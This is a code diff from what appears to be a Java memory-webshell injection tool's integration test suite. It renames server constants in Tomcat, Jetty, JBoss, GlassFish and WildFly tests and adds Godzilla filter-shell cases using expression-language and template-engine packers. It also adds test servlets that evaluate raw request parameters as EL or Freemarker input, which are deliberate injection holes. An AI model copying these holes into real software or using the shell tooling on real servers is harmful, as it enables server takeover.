VulTool.postData(url + "/java_deserialize", Base64.getEncoder().encodeToString(content));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.integration;
|
package com.reajason.javaweb.integration;
|
||||||
|
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import okhttp3.*;
|
import okhttp3.*;
|
||||||
import org.junit.jupiter.api.Assertions;
|
import org.junit.jupiter.api.Assertions;
|
||||||
|
|
||||||
@@ -8,6 +9,7 @@ import org.junit.jupiter.api.Assertions;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/30
|
* @since 2024/11/30
|
||||||
*/
|
*/
|
||||||
|
@Slf4j
|
||||||
public class VulTool {
|
public class VulTool {
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
@@ -33,6 +35,7 @@ public class VulTool {
|
|||||||
.url(uploadUrl).post(requestBody)
|
.url(uploadUrl).post(requestBody)
|
||||||
.build();
|
.build();
|
||||||
try (Response response = new OkHttpClient().newCall(request).execute()) {
|
try (Response response = new OkHttpClient().newCall(request).execute()) {
|
||||||
|
System.out.println(response.body().string());
|
||||||
Assertions.assertEquals(200, response.code());
|
Assertions.assertEquals(200, response.code());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -47,6 +50,7 @@ public class VulTool {
|
|||||||
.url(uploadUrl).post(requestBody)
|
.url(uploadUrl).post(requestBody)
|
||||||
.build();
|
.build();
|
||||||
try (Response response = new OkHttpClient().newCall(request).execute()) {
|
try (Response response = new OkHttpClient().newCall(request).execute()) {
|
||||||
|
log.info(response.body().string());
|
||||||
Assertions.assertNotEquals(404, response.code());
|
Assertions.assertNotEquals(404, response.code());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -68,6 +68,6 @@ public class GlassFish3ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -68,6 +68,6 @@ public class GlassFish4ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -66,6 +66,6 @@ public class GlassFish501ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -72,6 +72,6 @@ public class GlassFish510ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -65,6 +65,6 @@ public class GlassFish6ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -60,6 +60,6 @@ public class GlassFish7ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -60,6 +60,6 @@ public class Jboss423ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -60,6 +60,6 @@ public class Jboss510ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -61,6 +61,6 @@ public class Jboss610ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -60,6 +60,6 @@ public class Jboss711ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_7, packer);
|
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -57,6 +57,6 @@ public class JbossEap6ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -57,6 +57,6 @@ public class JbossEap7ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -60,6 +60,6 @@ public class Jetty10ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V11, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -60,6 +60,6 @@ public class Jetty11ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V11, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -59,6 +59,6 @@ public class Jetty61ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -59,6 +59,6 @@ public class Jetty76ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -60,6 +60,6 @@ public class Jetty81ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -61,6 +61,6 @@ public class Jetty92ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -60,6 +60,6 @@ public class Jetty93ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -64,6 +64,6 @@ public class Jetty94ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -65,6 +65,6 @@ public class Tomcat10ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V11, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -61,6 +61,6 @@ public class Tomcat11ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V17, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -64,6 +64,6 @@ public class Tomcat5ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+1
-1
@@ -64,6 +64,6 @@ public class Tomcat6ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+1
-1
@@ -65,6 +65,6 @@ public class Tomcat7ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_7, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+9
-3
@@ -58,19 +58,25 @@ public class Tomcat8ContainerTest {
|
|||||||
arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||||
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.EL),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Ognl),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Freemarker),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_8, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+1
-1
@@ -65,6 +65,6 @@ public class Tomcat9ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V9, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -57,6 +57,6 @@ public class Wildfly18ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -57,6 +57,6 @@ public class Wildfly23ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -60,6 +60,6 @@ public class Wildfly9ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -16,5 +16,11 @@ java {
|
|||||||
dependencies {
|
dependencies {
|
||||||
implementation 'commons-fileupload:commons-fileupload:1.3.3'
|
implementation 'commons-fileupload:commons-fileupload:1.3.3'
|
||||||
implementation 'commons-beanutils:commons-beanutils:1.9.3'
|
implementation 'commons-beanutils:commons-beanutils:1.9.3'
|
||||||
|
implementation 'de.odysseus.juel:juel-impl:2.2.7'
|
||||||
|
implementation 'org.freemarker:freemarker:2.3.23'
|
||||||
|
implementation 'org.apache.velocity:velocity:1.7'
|
||||||
|
implementation 'ognl:ognl:2.7.3'
|
||||||
|
implementation 'org.springframework:spring-expression:4.3.30.RELEASE'
|
||||||
|
implementation 'de.odysseus.juel:juel-api:2.2.7'
|
||||||
providedCompile "javax.servlet:servlet-api:2.5"
|
providedCompile "javax.servlet:servlet-api:2.5"
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,27 @@
|
|||||||
|
import de.odysseus.el.ExpressionFactoryImpl;
|
||||||
|
import de.odysseus.el.util.SimpleContext;
|
||||||
|
|
||||||
|
import javax.el.ExpressionFactory;
|
||||||
|
import javax.el.ValueExpression;
|
||||||
|
import javax.servlet.ServletException;
|
||||||
|
import javax.servlet.http.HttpServlet;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/14
|
||||||
|
*/
|
||||||
|
public class ELServlet extends HttpServlet {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
String data = req.getParameter("data");
|
||||||
|
ExpressionFactory factory = new ExpressionFactoryImpl();
|
||||||
|
SimpleContext context = new SimpleContext();
|
||||||
|
ValueExpression ve = factory.createValueExpression(context, "${" + data + "}", Object.class);
|
||||||
|
Object value = ve.getValue(context);
|
||||||
|
resp.getWriter().write(value.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
import freemarker.template.Configuration;
|
||||||
|
import freemarker.template.Template;
|
||||||
|
import freemarker.template.TemplateException;
|
||||||
|
|
||||||
|
import javax.servlet.ServletException;
|
||||||
|
import javax.servlet.http.HttpServlet;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.StringReader;
|
||||||
|
import java.io.StringWriter;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/14
|
||||||
|
*/
|
||||||
|
public class FreemarkerServlet extends HttpServlet {
|
||||||
|
@Override
|
||||||
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
String data = req.getParameter("data");
|
||||||
|
Configuration cfg = new Configuration();
|
||||||
|
cfg.setDefaultEncoding("UTF-8");
|
||||||
|
Map<String, Object> input = new HashMap<String, Object>();
|
||||||
|
input.put("object", new Object());
|
||||||
|
Template template = new Template("templateName", new StringReader(data), cfg);
|
||||||
|
StringWriter output = new StringWriter();
|
||||||
|
try {
|
||||||
|
template.process(input, output);
|
||||||
|
} catch (TemplateException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
resp.getWriter().write(output.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
import ognl.Ognl;
|
||||||
|
import ognl.OgnlContext;
|
||||||
|
import ognl.OgnlException;
|
||||||
|
|
||||||
|
import javax.servlet.ServletException;
|
||||||
|
import javax.servlet.http.HttpServlet;
|
||||||
|
